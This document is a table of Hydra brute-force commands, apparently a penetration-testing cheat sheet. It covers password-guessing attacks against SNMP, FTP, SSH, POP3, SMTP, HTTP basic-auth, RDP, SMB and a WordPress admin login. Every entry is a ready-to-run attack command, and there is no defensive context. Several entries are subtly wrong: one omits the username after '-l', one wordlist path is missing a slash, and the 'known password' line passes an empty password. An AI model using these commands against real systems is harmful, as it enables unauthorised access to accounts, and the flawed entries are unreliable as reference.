| **Command** | **Description** |
| --- | --- |
| hydra -P password-file.txt -v $IP snmp | Hydra brute force against SNMP |
| hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $IP ftp | Hydra FTP known user and rockyou password list |
| hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $IP ssh | Hydra SSH using list of users and passwords |
| hydra -v -V -u -L users.txt -p "" -t 1 -u $IP ssh | Hydra SSH using a known password and a username list |
| hydra $IP -s 22 ssh -l -P big\_wordlist.txt | Hydra SSH Against Known username on port 22 |
| hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $IP pop3 -V | Hydra POP3 Brute Force |
| hydra -P /usr/share/wordlistsnmap.lst $IP smtp -V | Hydra SMTP Brute Force |
| hydra -L ./webapp.txt -P ./webapp.txt $IP http-get /admin | Hydra attack http get 401 login with a dictionary |
| hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$IP | Hydra attack Windows Remote Desktop with rockyou |
| hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $IP smb | Hydra brute force SMB user with rockyou: |
| hydra -l admin -P ./passwordlist.txt $IP -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' | Hydra brute force a Wordpress admin login |